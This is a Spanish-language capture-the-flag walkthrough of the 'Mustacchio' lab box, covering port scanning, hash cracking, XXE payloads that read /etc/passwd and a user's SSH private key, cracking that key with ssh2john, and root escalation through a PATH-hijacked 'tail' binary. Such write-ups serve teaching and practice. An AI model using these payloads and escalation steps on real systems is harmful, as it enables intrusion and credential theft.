Mustacchio

Scanning

nmap -sS -p- --min-rate 5000 -vvv --open -Pn -n -oG allports 10.10.0.151
nmap -sC -sV -p 22,80 -Pn -n -oN targeted 10.10.0.151
  

80

Para la página usamos wfuzz para buscar carpetas en la página. Encontramos que existe la carpeta custom y dentro la carpeta js donde podemos ver el archivo users.bak.

Usamos el comando file para saber que tipo de archivo es.

Usaremos la herramienta que tenemos en parrot llamada sqlitebrowser para importar el archivo que debemos cambiar el nombre a ‘users.sqlite' aquí encontraremos un usuario y una contraseña o podría ser un hash.

Descubrimos que es algún tipo de sha1 así que usaremos john para crackear la contraseña.

8765

En https://IP:8765 encontramos un panel de administración donde podemos probar las credenciales que encontramos anteriormente.

En el código fuente encontramos un enlace como comentario. También había un comentario indicando que se podía entrar por ssh, esto lo tomaremos en cuenta más adelante.

Lo descargamos y encontramos que es un archivo xml.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could've done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could've been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
  

Este es un ejemplo de como enviar el comentario que te dan en el sitio web. Usaremos el siguiente código para probar el xxe.

XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>
<comment>
  <name>&xxe;</name>
  <author>miaumilliano</author>
  <com>meow</com>
</comment>
  

Como nos dieron la pista de que se puede ingresar con ssh entonces buscaremos si tiene algún id_rsa para conectarse con los usuarios que encontramos con la anterior consulta(joe y barry).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///home/barry/.ssh/id_rsa" >]>
<comment>
  <name>&xxe;</name>
  <author>miaumilliano</author>
  <com>meow</com>
</comment>
  

Con barry encontramos resultados.

Vemos que esta encriptado pero podemos usar ssh2john para encontrar la contraseña necesaria para usar esta id_rsa.

python2 /usr/share/john/ssh2john.py id_rsa > id_rsa.john

john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt

0816180616

Ahora que encontramos la clave podemos ingresar al usuario barry.

ssh barry@10.10.211.98 -i id_rsa

0816190721

Privilege scalation

SUID

find / -perm -u=s -type f 2>/dev/null
  

0816190711

/home/joe/livelog parece ser un archivo sospechoso. Al ejecutarlo podemos ver que lee los logs de la aplicación web.

Con la función ltrace vemos de que hace uso del comando tail pero no usa una ruta absoluta por lo que podriamos cambiar el path para que busque primero en los archivos temporales un comando tail modificado que pueda ejecutar una terminal con los permisos que el SUID nos permita.

0816190701

cd /tmp
echo "/bin/bash" > tail
chmod +x tail

export PATH=/tmp:$PATH
/home/joe/live_log
  

0816190759